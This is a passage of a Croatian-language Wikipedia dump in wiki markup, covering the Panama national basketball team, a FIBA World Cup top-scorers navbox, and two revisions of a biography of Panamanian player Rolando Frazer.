KT_učešće = 14 | KT_medalje = ''bez medalja'' | kontinentalno_takmičenje2 = | KT2_učešće = | KT2_medalje = | kontinentalno_takmičenje3 = | KT3_učešće = | KT3_medalje = | h_pattern_b = _thinbluesides | h_body = ffffff | h_shorts = ffffff | a_pattern_b = _thinredsides | a_body = 000099 | a_shorts = 000099 }} '''Košarkaška reprezentacija Paname''' ([[španjolski]]: ''Selección de baloncesto de Panamá'') predstavlja [[Panama|Panamu]] na međunarodnim košarkaškim natjecanjima.<ref>[https://www.laestrella.com.pa/deportes/baloncesto/190304/deportes-deportes-debe-caminar-panameno-baloncesto ¿Hacia dónde debe caminar el baloncesto panameño tras el Pre Mundial?] Julio Alfaro (La Estrella de Panama), 4 March 2019. Accessed 17 August 2020. {{es}}</ref> Reprezentacijom ravna [[Košarkaški savez Paname]] ([[španjolski]]: ''Federación Panameña de Baloncesto'', FEPABA), koji je član [[FIBA]]-e od [[1958.]] godine, a djeluje u sklopu regionalne federacije [[FIBA Amerike|FIBA Amerika]]. Panama se smatra jednom od najboljih momčadi [[Centralna Amerika|Centralne Amerike]], a iako je značajnije uspjehe ostvarila samo na regionalnoj razini, imaju četiri nastupa na [[FIBA Svjetsko prvenstvo u košarci|Svjetskim prvenstvima]], jedan nastup na [[Olimpijske igre|Olimpijskim igrama]] te su redovni sudionici [[FIBA AmeriCup]]a. == Historija == Uspon košarke u [[Panama|Panami]] započinje krajem [[1960-e|1960-ih]] i tijekom [[1970-e|1970-ih]] godina, kada je Panama postala regionalna sila. Nakon što su [[1968.]] godine sudjelovali na [[Ljetne olimpijske igre|Olimpijskim igrama]], gdje su završili na 12. mjestu, godine [[1970.]] debitirali su na [[FIBA Svjetsko prvenstvo u košarci|Svjetskom prvenstvu]], na kojem su zauzeli solidno deveto mjesto s četiri pobjede i četiri poraza.<ref>[https://www.fiba.basketball/basketballworldcup/1970/teams/Panama FIBA Basketball World Cup 1970 – Panama team profile] [[FIBA]]. Accessed 20 August 2025. {{en}}</ref> Zlatno doba panamske košarke trajalo je tijekom [[1970-e|1970-ih]] godina, što je dovelo do toga da je velik broj panamskih košarkaša krajem [[1970-e|1970-ih]] i početkom [[1980-e|1980-ih]] godina igrao sveučilišnu košarku u [[SAD|Sjedinjenim Državama]]. Bilo je to u sklopu "projekta" tzv. "Panamskog cjevovoda" ([[engleski]]: ''Panama Pipeline''), koji je predvodio glavni trener Univerziteta Briar Cliff, Ray Nacke.<ref>{{Cite web |date=2023-01-30 |title=Looking Back: Panama Pipeline Pushed Charger Hoops to National Prominence |url=https://www.briarcliff.edu/family-and-friends/parents/news/looking-back-panama-pipeline-pushed-charger-hoops-to-national-prominence |url-status=live |access-date=2026-05-23 |website=briarcliff.edu}}</ref> Među igračima koji su u tom periodu imali uspješne karijere na američkim sveučilištima bili su i kasniji reprezentativci [[Rolando Frazer]], [[Ernesto Malcolm|Ernesto "Tito" Malcolm]], [[Mario Butler]], [[Eddie Warren (panamski košarkaš)|Eddie Warren]], [[Reggie Grenald]] i [[Mario Galvez]]. Kasne [[1980-e|80-e]] i [[1990-e]] bile su obilježene padom panamske košarke, međutim reprezentacija se sredinom [[2000-e|2000-ih]] vratila na svjetsku scenu te je od tog trenutka zadržala svoj status regionalne sile. == Aktualni kadar == {{Small|Ažurirano: [[22. kolovoza]] [[2025.]]<ref>{{Cite web|url=https://reports.fiba.basketball/api/view.php?file=2025%2FFIBA%20AmeriCup%2Frosters.pdf|title=Team roster: Panama|website=fiba.basketball|date=22 August 2025|page=8}}</ref>}} {{FIBA roster header|team=košarkaške reprezentacije Paname | color1 = white| bg1 = #FF0000| color2 = white| bg2 = #0000CC}} {{FIBA player|df=y| num = 5 | nat =BRA | name =Trevor Gaskins| pos =G | m = 1.93 | year = 1989 | month = 11 | date = 24 | compyear = 2025 | compmonth = 8 | compdate = 22 | club=Unifacisa Basquete | note = C }} {{FIBA player|df=y| num = 8 | nat =PAN | name =Guillermo Navarro| pos =G | m = 1.75 | year = 2003 | month = 05 | date = 07 | compyear = 2025 | compmonth = 8 | compdate = 22 | club=Toros de Chiriquí | dab = basketball}} {{FIBA player|df=y| num = 9 | nat =PAN | name =Joshua Lemon| pos =G | m = 1.80 | year = 2004 | month = 04 | date = 06 | compyear = 2025 | compmonth = 8 | compdate = 22 | club=Dragones de Don Bosco}} {{FIBA player|df=y| num = 10 | nat =MEX | name =Justin Quintero| pos =F | m = 1.90 | year = 1998 | month = 10 | date = 31 | compyear = 2025 | compmonth = 8 | compdate = 22 | club=Libertadores de Querétaro}} {{FIBA player|df=y| num = 11 | nat =PAN | name =Roberto Armstrong| pos =SG | m = 1.75 | year = 2000 | month = 11 | date = 18 | compyear = 2025 | compmonth = 8 | compdate = 22 | club=Toros de Chiriquí}} {{FIBA player|df=y| num = 13 | nat =PAN | name =Anthony Hall| dab = basketball | pos =F | m = 1.95 | year = 2004 | month = 09 | date = 11 | compyear = 2025 | compmonth = 8 | compdate = 22 | club=Toros de Chiriquí}} {{FIBA player|df=y| num = 15 | nat =PAN | name =Luis Rodríguez Jr.| pos =F | m = 1.95 | year = 1999 | month = 03 | date = 15 | compyear = 2025 | compmonth = 8 | compdate = 22 | club=Toros de Chiriquí}} {{FIBA player|df=y| num = 19 | nat =PAN | name =Jonathan Young| dab = basketball | pos =SF | m = 1.93 | year = 1999 | month = 10 | date = 02 | compyear = 2025 | compmonth = 8 | compdate = 22 | club=Caballos de Coclé}} {{FIBA player|df=y| num = 21 | nat =URU | name =Gil Atencio| pos =F | m = 2.00 | year = 1996 | month = 06 | date = 05 | compyear = 2025 | compmonth = 8 | compdate = 22 | clublink=[[Club Social y Deportivo Urupan|URUPAN]]}} {{FIBA player|df=y| num = 24 | nat =PAN | name =Aaron Gedeon| pos =F | m = 1.98 | year = 1999 | month = 03 | date = 11 | compyear = 2025 | compmonth = 8 | compdate = 22 | club=Correcaminos de Colón}} {{FIBA player|df=y| num = 29 | nat =PAN | name =Ezequiel Bell | pos =C | m = 2.00 | year = 1999 | month = 11 | date = 22 | compyear = 2025 | compmonth = 8 | compdate = 22 | club=Correcaminos de Colón}} {{FIBA player|df=y| num = 44 | nat =PAN | name =Sebastian Bosquez| pos =SF | m = 1.88 | year = 2005 | month = 06 | date = 14 | compyear = 2025 | compmonth = 8 | compdate = 22 | club=Toros de Chiriquí}} |} | valign="top" | ;Izbornik *{{flagicon|ARG}} [[Gonzalo García (košarkaški trener)|Gonzalo García]] ;Pomoćnici *{{flagicon|ARG}} Imanol Hernández *{{flagicon|PAN}} Alberto Duque *{{flagicon|PAN}} Bryan Waithe ---- ;Legenda: *'''Klub''' – klub u kojem igrač igra *'''Dob''' – dob igrača (na dan [[22. kolovoza]] [[2025.]]) *'''(C)''' – kapetan |} == Reference == {{reflist}} == Vanjske veze == *{{Official website}} *[https://about.fiba.basketball/en/national-federations/3-panama FIBA profile] *[https://www.latinbasket.com/Panama/basketball-National-Team.aspx Latinbasket.com - Panama Men National Team {{en}}] {{Američke košarkaške reprezentacije}} {{Authority control}} [[Kategorija:Košarkaške reprezentacije|Panama]] [[Kategorija:Košarka u Panami]] r2c2rrs6caogf267li5y8mn34u2dfta 0 4722562 42602542 2026-05-27T13:03:49Z Edgar Allan Poe 29250 Preusmjereno na [[Košarkaška reprezentacija Paname]] 42602542 wikitext text/x-wiki #PREUSMJERI [[Košarkaška reprezentacija Paname]] e6mefe2ihad1jo3j8xk2undiy7cvows 10 4722563 42602543 2026-05-27T13:30:52Z Edgar Allan Poe 29250 Nova stranica: {{Navbox | name = Najbolji strijelci FIBA Svjetskih prvenstava | title = [[Nagrade FIBA Svjetskog prvenstva u košarci|{{color|#dbc068|Najbolji strijelci}}]] [[FIBA Svjetsko prvenstvo u košarci|{{color|#dbc068|FIBA Svjetskog prvenstva u košarci}}]] | state = {{{state|autocollapse}}} | basestyle = background:black; color:#dbc068; {{box-shadow border|a|#dbc068|1px}} | bodyclass = hlist | nowrapitems = yes | list1 = * 1950: {{flagicon|ŠPA|1945}} Álvaro Salvadores|Salvadore... 42602543 wikitext text/x-wiki {{Navbox | name = Najbolji strijelci FIBA Svjetskih prvenstava | title = [[Nagrade FIBA Svjetskog prvenstva u košarci|{{color|#dbc068|Najbolji strijelci}}]] [[FIBA Svjetsko prvenstvo u košarci|{{color|#dbc068|FIBA Svjetskog prvenstva u košarci}}]] | state = {{{state|autocollapse}}} | basestyle = background:black; color:#dbc068; {{box-shadow border|a|#dbc068|1px}} | bodyclass = hlist | nowrapitems = yes | list1 = * 1950: {{flagicon|ŠPA|1945}} [[Álvaro Salvadores|Salvadores]] * 1954: {{flagicon|URU}} [[Oscar Moglia|Moglia]] * 1959: {{flagicon|Tajvan}} [[Chen Tsu-li]] * 1963: {{flagicon|PER}} [[Ricardo Duarte|Duarte]] * 1967: {{flagicon|POLJ|1928}} [[Mieczysław Łopatka|Łopatka]] * 1970: {{flagicon|JKO|1949}} [[Sin Dong-pa]] * 1974: {{flagicon|MEX}} [[Arturo Guerrero|Guerrero]] * 1978: {{flagicon|ČSSR}} [[Kamil Brabenec (košarkaš)|Brabenec]] * 1982: {{flagicon|PAN}} [[Rolando Frazer|Frazer]] * 1986: {{flagicon|GRČ}} [[Nikos Galis|Galis]] * 1990: {{flagicon|BRA|1968}} [[Oscar Schmidt|Schmidt]] * 1994: {{flagicon|AUS}} [[Andrew Gaze|Gaze]] * 1998: {{flagicon|ŠPA}} [[Alberto Herreros|Herreros]] * 2002: {{flagicon|NJE}} [[Dirk Nowitzki|Nowitzki]] * 2006: {{flagicon|KIN}} [[Yao Ming]] * 2010: {{flagicon|ARG}} [[Luis Scola|Scola]] * 2014: {{flagicon|PUE}} [[J. J. Barea|Barea]] * 2019: {{flagicon|JKO}} [[Ricardo Ratliffe|Ra Geon-a]] * 2023: {{flagicon|SLO}} [[Luka Dončić|Dončić]] }}<noinclude> {{collapsible option}} [[Kategorija:Košarkaški šabloni]] [[Kategorija:Šabloni za nagrade]] </noinclude> mwfch4gi5w0vhvaqek3s9zwemifcvw1 0 4722564 42602544 2026-05-27T13:31:29Z Edgar Allan Poe 29250 Nova stranica: {{Infokutija košarkaš | ime = Rolando Frazer | slika = | veličina = | opis = | broj = | pozicija = [[centar (košarka)|centar]] / [[krilni centar]] | visina_ft = 6 | visina_in = 7 | visina_napomena = | težina_lb = | težina_footnote = | liga = | momčad = | momčad_link = | datum_rođenja = {{Datum rođenja i dob|hr=da|1958|7|3}} | mjesto_rođenja... 42602544 wikitext text/x-wiki {{Infokutija košarkaš | ime = Rolando Frazer | slika = | veličina = | opis = | broj = | pozicija = [[centar (košarka)|centar]] / [[krilni centar]] | visina_ft = 6 | visina_in = 7 | visina_napomena = | težina_lb = | težina_footnote = | liga = | momčad = | momčad_link = | datum_rođenja = {{Datum rođenja i dob|hr=da|1958|7|3}} | mjesto_rođenja = {{flagicon|PAN}} [[Ciudad de Panamá]], [[Panama]] | datum_smrti = | mjesto_smrti = | nacionalnost = | srednja_škola = Strukovna škola Isabel Herrera de Obalda | sveučilište = [[Briar Cliff Chargers|Briar Cliff]] (1977–1981) | draft_godina = 1981. | draft_krug = 4. | draft_pick = 83 | draft_momčad = [[Indiana Pacers]] | karijera_start = [[1980.]] | karijera_kraj = [[2001.]] | trener_start = | trener_kraj = | godine1 = 1980 – 1982 | momčad1 = {{flagicon|PUE}} [[Polluelos de Aibonito]] | godine2 = 1982 – 1984 | momčad2 = {{flagicon|ARG}} [[Obras Sanitarias]] | godine3 = 1984 – 1985 | momčad3 = {{flagicon|PUE}} [[Polluelos de Aibonito]] | godine4 = 1985 – 1987 | momčad4 = {{flagicon|ŠPA}} [[Bàsquet Manresa|TKD Manresa]] | godine5 = 1987 – 1988 | momčad5 = {{flagicon|PUE}} [[Polluelos de Aibonito]] | godine6 = 1988 – 1989 | momčad6 = {{flagicon|ŠPA}} [[Bàsquet Manresa|TKD Manresa]] | godine7 = 1989 – 1995 | momčad7 = {{flagicon|PUE}} [[Polluelos de Aibonito]] | godine8 = 1996 – 1997 | momčad8 = {{flagicon|PUE}} [[Capitanes de Arecibo]] | godine9 = 1997 – 2001 | momčad9 = {{flagicon|PUE}} [[Maratonistas de Coamo|Avancinos de Villalba]] | godine10 = | momčad10 = | godine11 = | momčad11 = | godine12 = | momčad12 = | godine13 = | momčad13 = | godine14 = | momčad14 = | godine15 = | momčad15 = | godine16 = | momčad16 = | godine17 = | momčad17 = | godine18 = | momčad18 = | godine19 = | momčad19 = | godine20 = | momčad20 = | godine21 = | momčad21 = | godine22 = | momčad22 = | godine23 = | momčad23 = | godine24 = | momčad24 = | godine25 = | momčad25 = | godine26 = | momčad26 = | godine27 = | momčad27 = | godine28 = | momčad28 = | godine29 = | momčad29 = | godine30 = | momčad30 = | godine31 = | momčad31 = | godine32 = | momčad32 = | godine33 = | momčad33 = | godine34 = | momčad34 = | godine35 = | momčad35 = | godine36 = | momčad36 = | godine37 = | momčad37 = | godine38 = | momčad38 = | godine39 = | momčad39 = | godine40 = | momčad40 = | sgodine1 = | smomčad1 = | sgodine2 = | smomčad2 = | sgodine3 = | smomčad3 = | sgodine4 = | smomčad4 = | sgodine5 = | smomčad5 = | sgodine6 = | smomčad6 = | sgodine7 = | smomčad7 = | sgodine8 = | smomčad8 = | sgodine9 = | smomčad9 = | sgodine10 = | smomčad10 = | sgodine11 = | smomčad11 = | sgodine12 = | smomčad12 = | sgodine13 = | smomčad13 = | sgodine14 = | smomčad14 = | sgodine15 = | smomčad15 = | sgodine16 = | smomčad16 = | sgodine17 = | smomčad17 = | sgodine18 = | smomčad18 = | sgodine19 = | smomčad19 = | sgodine20 = | smomčad20 = | rgodine1 = 1979 – 1993 | rep1 = {{KošRep|PAN}} | rgodine2 = | rep2 = | rgodine3 = | rep3 = | rgodine4 = | rep4 = | rgodine5 = | rep5 = | uspjesi = | stat1label = | stat1vrijednost = | stat2label = | stat2vrijednost = | stat3label = | stat3vrijednost = | HOF = | HOF_igrač = | HOF_trener = | FIBA_HOF_igrač = | CBBASKHOF_godina = | medalje = }} '''Rolando Frazer Thorne''' ([[Ciudad de Panamá]], [[3. srpnja]] [[1958.]]), bivši [[panama|panamski]] košarkaš i reprezentativac koji je igrao kao centar ili krilni centar. Frazer se smatra jednim od najboljih panamskih košarkaša svih vremena. Iako su ga [[1981.]] na [[NBA Draft|draftu]] izabrali [[Indiana Pacers]]i, nikada nije igrao u [[NBA liga|NBA ligi]], ali je imao vrlo uspješnu klupsku i reprezentativnu karijeru. == Biografija == Frazer je počeo igrati košarku u [[Panama|Panami]], ali već je [[1977.]] godine otišao igrati sveučilišnu košarku u [[SAD|Sjedinjenim Državama]]. U sklopu programa "Panamskog cjevovoda" ([[engleski]]: ''Panama Pipeline''), Frazer je bio dio veće grupe panamskih igrača što ih je trener Ray Nacke doveo da igraju košarku za [[Briar Cliff College]] u [[Sioux City, Iowa|Sioux Cityju]], [[Iowa|IA]]. U debitantskoj sezoni imao je prosjek od 15.6 poena po utakmici kao šesti igrač, da bi u drugoj sezoni s prosjekom od 36.4 poena po utakmici bio najbolji strijelac u državi. U trećoj je sezoni imao prosjek od 30.1 poena po utakmici, a njegovu su Charhersi bili najbolje ocijenjena momčad u državi s ukupnim omjerom 27–3. Njegova je sveučilišna karijera bila izrazito uspješna; odigrao je ukupno 118 utakmica uz prosjek od 26.2 poena, 9.4 skoka i 1.7 asistencija po utakmici, uz realizaciju iz polja od 60.5%.<ref>{{Cite web|url=https://www.thedraftreview.com/index.php?option=com_content&view=article&id=4948:rolando-frazer&catid=93&Itemid=342|title=Rolando Frazer|first1=Fine Line Websites & IT|last1=Consulting|first2=The Draft|last2=Review|date=January 17, 2009|website=The Draft Review}}</ref> Drži 14 od prvih 25 mjesta na listi igrača s najvećim brojem poena u jednoj utakmici, uključujući i rekordnih 56, ostvarenih u [[13. veljače]] [[1980.]] u utakmici protiv [[Northwestern Wildcats]]a, a uz to je i rekorder Chargersa po ukupnom broju skokova (1,110). S 3,078 postignutih poena jedno je vrijeme bio i rekorder u toj kategoriji; trenutno je na drugom mjestu.<ref>[http://bestpodcastynh.com/index.php/our-blog/13-briar-cliff-basketball-rolando-frazer BRIAR CLIFF BASKETBALL - ROLANDO FRAZER.]</ref><ref>{{cite news |author1=Steve Allspach |title=Marycrest brings out best in Galvez |url=https://www.newspapers.com/image/336953508/?terms=Frazer&match=1 |access-date=22 August 2024 |work=[[The Sioux City Journal]] |date=10 February 1986 |page=A9 |via=[[Newspapers.com]]}}{{open access}}</ref> U članku od [[2. veljače]] [[1981.]] godine, ''[[Sports Illustrated]]'' nazvao je Frazera "Ponosom Panamskog cjevovoda" ([[engleski]]: ''Pride of the Panama Pipeline'').<ref>{{Cite news|url=https://www.si.com/vault/1981/02/02/825313/pride-of-the-panama-pipeline-imported-players-like-rolando-frazer-have-made-briar-cliff-an-naia-power|title=Pride of the Panama pipeline|newspaper=Sports Illustrated Vault &#124; Si.com }}</ref> Na [[NBA Draft 1981.|NBA Draftu 1981.]] godine, [[Indiana Pacers]]i izabrali su ga u 4. krugu drafta kao ukupno 83. izbor, međutim Frazer nikada nije zaigrao u [[NBA liga|NBA ligi]].<ref>{{Cite web|url=http://www.bcuchargers.com/HallOfFame/3.php|title=After Graduation.}}</ref> Većinu svoje profesionalne karijere proveo je u [[Portoriko|Portoriku]],<ref>{{Cite web|url=https://www.bsnpr.com/jugadores/jugador?id=2089&e=|title=Baloncesto Superior Nacional &#124; Jugador|website=www.bsnpr.com}}</ref> a igrao je i u [[Argentina|Argentini]] i u [[Španjolska|Španjolskoj]].<ref>[http://www.basketball-numbers.com/players/rolando-frazer ROLANDO FRAZER.]</ref><ref>{{Cite web|url=http://www.acb.com/stsacumjug.php?cod_jugador=NEU|title=Historial estadístico - Frazer, R.|language=es}}</ref> Umirovio se [[2001.]] godine, nakon čega je postao košarkaški sudac.<ref>{{Cite web|url=https://www.elnuevodia.com/deportes/baloncesto/notas/rolando-frazer-sigue-conectado-al-basquet-como-arbitro/|title=Rolando Frazer sigue conectado al básquet como árbitro|date=September 16, 2017|website=El Nuevo Día}}</ref> Za [[Panamska košarkaška reprezentacija|reprezentaciju Paname]] debitirao je kao petnaestogodišnjak, tijekom svoje druge godine organiziranog igranja košarke. S Panamom je igrao na nizu međunarodnih natjecanja te je, zajedno s [[Mario Butler|Mariom Butlerom]], najzaslužniji za uspjeh panamske košarke tijekom [[1980-e|1980-ih]] godina. Godine [[1981.]] osvojio je s Panamom zlato na [[Centrobasket]]u, a sjajno je odigrao i [[FIBA Svjetsko prvenstvo 1982.|Svjetsko prvenstvo 1982.]], gdje je s prosjekom od 24.4 poena bio najbolji strijelac te MVP turnira, iako je Panama završila na devetom mjestu.<ref>{{Cite web|url=https://archive.fiba.com/pages/eng/fa/statistics/p/cid/WMM/sid/2910/_/1982_World_Championship_for_Men/player-leaders.html|archive-url=https://web.archive.org/web/20131224234827/http://archive.fiba.com/pages/eng/fa/statistics/p/cid/WMM/sid/2910/_/1982_World_Championship_for_Men/player-leaders.html|url-status=dead|archive-date=December 24, 2013|title=archive.fiba.com: 1982 World Championship for Men|website=archive.fiba.com}}</ref> == Reference == {{reflist}} == Vanjske veze == *[https://web.archive.org/web/20181113075500/http://archive.fiba.com/pages/eng/fa/p/rpp//q/rolando%20frazer/pid//_//players.html FIBA profile] *[http://www.acb.com/jugador.php?id=NEU Spanish League profile] {{es}} *[http://www.basketball-numbers.com/players/rolando-frazer Spanish League stats] *[https://www.bsnpr.com/jugadores/jugador.asp?id=2089&e= Puerto Rican League profile] {{es}} *[http://english.worldhoopstats.com/stats/bsn-pr/rolando-frazer-thorne.html Puerto Rican League stats] *[http://www.bcuchargers.com/HallOfFame/3.php Briar Cliff Chargers Athletic Hall of Fame] *[https://www.thedraftreview.com/index.php?option=com_content&view=article&id=4948:rolando-frazer&catid=93&Itemid=342 TheDraftReview.com profile] *[https://www.si.com/vault/1981/02/02/825313/pride-of-the-panama-pipeline-imported-players-like-rolando-frazer-have-made-briar-cliff-an-naia-power Sports Illustrated PRIDE OF THE PANAMA PIPELINE] {{FIBA Svjetsko prvenstvo MVP}} {{Najbolji strijelci FIBA Svjetskih prvenstava}} {{Authority control}} {{Životni vijek|1958||Frazer, Rolando}} 4z0iih6z7cmi3stcnldpx2jc94jejcq 42602547 42602544 2026-05-27T13:33:25Z Edgar Allan Poe 29250 +[[Kategorija:Panamski košarkaši]]; +[[Kategorija:Košarkaški centri]]; +[[Kategorija:Krilni centri]] pomoću gadgeta [[Wikipedia:HotCat|HotCat]] 42602547 wikitext text/x-wiki {{Infokutija košarkaš | ime = Rolando Frazer | slika = | veličina = | opis = | broj = | pozicija = [[centar (košarka)|centar]] / [[krilni centar]] | visina_ft = 6 | visina_in = 7 | visina_napomena = | težina_lb = | težina_footnote = | liga = | momčad = | momčad_link = | datum_rođenja = {{Datum rođenja i dob|hr=da|1958|7|3}} | mjesto_rođenja = {{flagicon|PAN}} [[Ciudad de Panamá]], [[Panama]] | datum_smrti = | mjesto_smrti = | nacionalnost = | srednja_škola = Strukovna škola Isabel Herrera de Obalda | sveučilište = [[Briar Cliff Chargers|Briar Cliff]] (1977–1981) | draft_godina = 1981. | draft_krug = 4. | draft_pick = 83 | draft_momčad = [[Indiana Pacers]] | karijera_start = [[1980.]] | karijera_kraj = [[2001.]] | trener_start = | trener_kraj = | godine1 = 1980 – 1982 | momčad1 = {{flagicon|PUE}} [[Polluelos de Aibonito]] | godine2 = 1982 – 1984 | momčad2 = {{flagicon|ARG}} [[Obras Sanitarias]] | godine3 = 1984 – 1985 | momčad3 = {{flagicon|PUE}} [[Polluelos de Aibonito]] | godine4 = 1985 – 1987 | momčad4 = {{flagicon|ŠPA}} [[Bàsquet Manresa|TKD Manresa]] | godine5 = 1987 – 1988 | momčad5 = {{flagicon|PUE}} [[Polluelos de Aibonito]] | godine6 = 1988 – 1989 | momčad6 = {{flagicon|ŠPA}} [[Bàsquet Manresa|TKD Manresa]] | godine7 = 1989 – 1995 | momčad7 = {{flagicon|PUE}} [[Polluelos de Aibonito]] | godine8 = 1996 – 1997 | momčad8 = {{flagicon|PUE}} [[Capitanes de Arecibo]] | godine9 = 1997 – 2001 | momčad9 = {{flagicon|PUE}} [[Maratonistas de Coamo|Avancinos de Villalba]] | godine10 = | momčad10 = | godine11 = | momčad11 = | godine12 = | momčad12 = | godine13 = | momčad13 = | godine14 = | momčad14 = | godine15 = | momčad15 = | godine16 = | momčad16 = | godine17 = | momčad17 = | godine18 = | momčad18 = | godine19 = | momčad19 = | godine20 = | momčad20 = | godine21 = | momčad21 = | godine22 = | momčad22 = | godine23 = | momčad23 = | godine24 = | momčad24 = | godine25 = | momčad25 = | godine26 = | momčad26 = | godine27 = | momčad27 = | godine28 = | momčad28 = | godine29 = | momčad29 = | godine30 = | momčad30 = | godine31 = | momčad31 = | godine32 = | momčad32 = | godine33 = | momčad33 = | godine34 = | momčad34 = | godine35 = | momčad35 = | godine36 = | momčad36 = | godine37 = | momčad37 = | godine38 = | momčad38 = | godine39 = | momčad39 = | godine40 = | momčad40 = | sgodine1 = | smomčad1 = | sgodine2 = | smomčad2 = | sgodine3 = | smomčad3 = | sgodine4 = | smomčad4 = | sgodine5 = | smomčad5 = | sgodine6 = | smomčad6 = | sgodine7 = | smomčad7 = | sgodine8 = | smomčad8 = | sgodine9 = | smomčad9 = | sgodine10 = | smomčad10 = | sgodine11 = | smomčad11 = | sgodine12 = | smomčad12 = | sgodine13 = | smomčad13 = | sgodine14 = | smomčad14 = | sgodine15 = | smomčad15 = | sgodine16 = | smomčad16 = | sgodine17 = | smomčad17 = | sgodine18 = | smomčad18 = | sgodine19 = | smomčad19 = | sgodine20 = | smomčad20 = | rgodine1 = 1979 – 1993 | rep1 = {{KošRep|PAN}} | rgodine2 = | rep2 = | rgodine3 = | rep3 = | rgodine4 = | rep4 = | rgodine5 = | rep5 = | uspjesi = | stat1label = | stat1vrijednost = | stat2label = | stat2vrijednost = | stat3label = | stat3vrijednost = | HOF = | HOF_igrač = | HOF_trener = | FIBA_HOF_igrač = | CBBASKHOF_godina = | medalje = }} '''Rolando Frazer Thorne''' ([[Ciudad de Panamá]], [[3. srpnja]] [[1958.]]), bivši [[panama|panamski]] košarkaš i reprezentativac koji je igrao kao centar ili krilni centar. Frazer se smatra jednim od najboljih panamskih košarkaša svih vremena. Iako su ga [[1981.]] na [[NBA Draft|draftu]] izabrali [[Indiana Pacers]]i, nikada nije igrao u [[NBA liga|NBA ligi]], ali je imao vrlo uspješnu klupsku i reprezentativnu karijeru. == Biografija == Frazer je počeo igrati košarku u [[Panama|Panami]], ali već je [[1977.]] godine otišao igrati sveučilišnu košarku u [[SAD|Sjedinjenim Državama]]. U sklopu programa "Panamskog cjevovoda" ([[engleski]]: ''Panama Pipeline''), Frazer je bio dio veće grupe panamskih igrača što ih je trener Ray Nacke doveo da igraju košarku za [[Briar Cliff College]] u [[Sioux City, Iowa|Sioux Cityju]], [[Iowa|IA]]. U debitantskoj sezoni imao je prosjek od 15.6 poena po utakmici kao šesti igrač, da bi u drugoj sezoni s prosjekom od 36.4 poena po utakmici bio najbolji strijelac u državi. U trećoj je sezoni imao prosjek od 30.1 poena po utakmici, a njegovu su Charhersi bili najbolje ocijenjena momčad u državi s ukupnim omjerom 27–3. Njegova je sveučilišna karijera bila izrazito uspješna; odigrao je ukupno 118 utakmica uz prosjek od 26.2 poena, 9.4 skoka i 1.7 asistencija po utakmici, uz realizaciju iz polja od 60.5%.<ref>{{Cite web|url=https://www.thedraftreview.com/index.php?option=com_content&view=article&id=4948:rolando-frazer&catid=93&Itemid=342|title=Rolando Frazer|first1=Fine Line Websites & IT|last1=Consulting|first2=The Draft|last2=Review|date=January 17, 2009|website=The Draft Review}}</ref> Drži 14 od prvih 25 mjesta na listi igrača s najvećim brojem poena u jednoj utakmici, uključujući i rekordnih 56, ostvarenih u [[13. veljače]] [[1980.]] u utakmici protiv [[Northwestern Wildcats]]a, a uz to je i rekorder Chargersa po ukupnom broju skokova (1,110). S 3,078 postignutih poena jedno je vrijeme bio i rekorder u toj kategoriji; trenutno je na drugom mjestu.<ref>[http://bestpodcastynh.com/index.php/our-blog/13-briar-cliff-basketball-rolando-frazer BRIAR CLIFF BASKETBALL - ROLANDO FRAZER.]</ref><ref>{{cite news |author1=Steve Allspach |title=Marycrest brings out best in Galvez |url=https://www.newspapers.com/image/336953508/?terms=Frazer&match=1 |access-date=22 August 2024 |work=[[The Sioux City Journal]] |date=10 February 1986 |page=A9 |via=[[Newspapers.com]]}}{{open access}}</ref> U članku od [[2. veljače]] [[1981.]] godine, ''[[Sports Illustrated]]'' nazvao je Frazera "Ponosom Panamskog cjevovoda" ([[engleski]]: ''Pride of the Panama Pipeline'').<ref>{{Cite news|url=https://www.si.com/vault/1981/02/02/825313/pride-of-the-panama-pipeline-imported-players-like-rolando-frazer-have-made-briar-cliff-an-naia-power|title=Pride of the Panama pipeline|newspaper=Sports Illustrated Vault &#124; Si.com }}</ref> Na [[NBA Draft 1981.|NBA Draftu 1981.]] godine, [[Indiana Pacers]]i izabrali su ga u 4. krugu drafta kao ukupno 83. izbor, međutim Frazer nikada nije zaigrao u [[NBA liga|NBA ligi]].<ref>{{Cite web|url=http://www.bcuchargers.com/HallOfFame/3.php|title=After Graduation.}}</ref> Većinu svoje profesionalne karijere proveo je u [[Portoriko|Portoriku]],<ref>{{Cite web|url=https://www.bsnpr.com/jugadores/jugador?id=2089&e=|title=Baloncesto Superior Nacional &#124; Jugador|website=www.bsnpr.com}}</ref> a igrao je i u [[Argentina|Argentini]] i u [[Španjolska|Španjolskoj]].<ref>[http://www.basketball-numbers.com/players/rolando-frazer ROLANDO FRAZER.]</ref><ref>{{Cite web|url=http://www.acb.com/stsacumjug.php?cod_jugador=NEU|title=Historial estadístico - Frazer, R.|language=es}}</ref> Umirovio se [[2001.]] godine, nakon čega je postao košarkaški sudac.<ref>{{Cite web|url=https://www.elnuevodia.com/deportes/baloncesto/notas/rolando-frazer-sigue-conectado-al-basquet-como-arbitro/|title=Rolando Frazer sigue conectado al básquet como árbitro|date=September 16, 2017|website=El Nuevo Día}}</ref> Za [[Panamska košarkaška reprezentacija|reprezentaciju Paname]] debitirao je kao petnaestogodišnjak, tijekom svoje druge godine organiziranog igranja košarke. S Panamom je igrao na nizu međunarodnih natjecanja te je, zajedno s [[Mario Butler|Mariom Butlerom]], najzaslužniji za uspjeh panamske košarke tijekom [[1980-e|1980-ih]] godina. Godine [[1981.]] osvojio je s Panamom zlato na [[Centrobasket]]u, a sjajno je odigrao i [[FIBA Svjetsko prvenstvo 1982.|Svjetsko prvenstvo 1982.]], gdje je s prosjekom od 24.4 poena bio najbolji strijelac te MVP turnira, iako je Panama završila na devetom mjestu.<ref>{{Cite web|url=https://archive.fiba.com/pages/eng/fa/statistics/p/cid/WMM/sid/2910/_/1982_World_Championship_for_Men/player-leaders.html|archive-url=https://web.archive.org/web/20131224234827/http://archive.fiba.com/pages/eng/fa/statistics/p/cid/WMM/sid/2910/_/1982_World_Championship_for_Men/player-leaders.html|url-status=dead|archive-date=December 24, 2013|title=archive.fiba.com: 1982 World Championship for Men|website=archive.fiba.com}}</ref> == Reference == {{reflist}} == Vanjske veze == *[https://web.archive.org/web/20181113075500/http://archive.fiba.com/pages/eng/fa/p/rpp//q/rolando%20frazer/pid//_//players.html FIBA profile] *[http://www.acb.com/jugador.php?id=NEU Spanish League profile] {{es}} *[http://www.basketball-numbers.com/players/rolando-frazer Spanish League stats] *[https://www.bsnpr.com/jugadores/jugador.asp?id=2089&e= Puerto Rican League profile] {{es}} *[http://english.worldhoopstats.com/stats/bsn-pr/rolando-frazer-thorne.html Puerto Rican League stats] 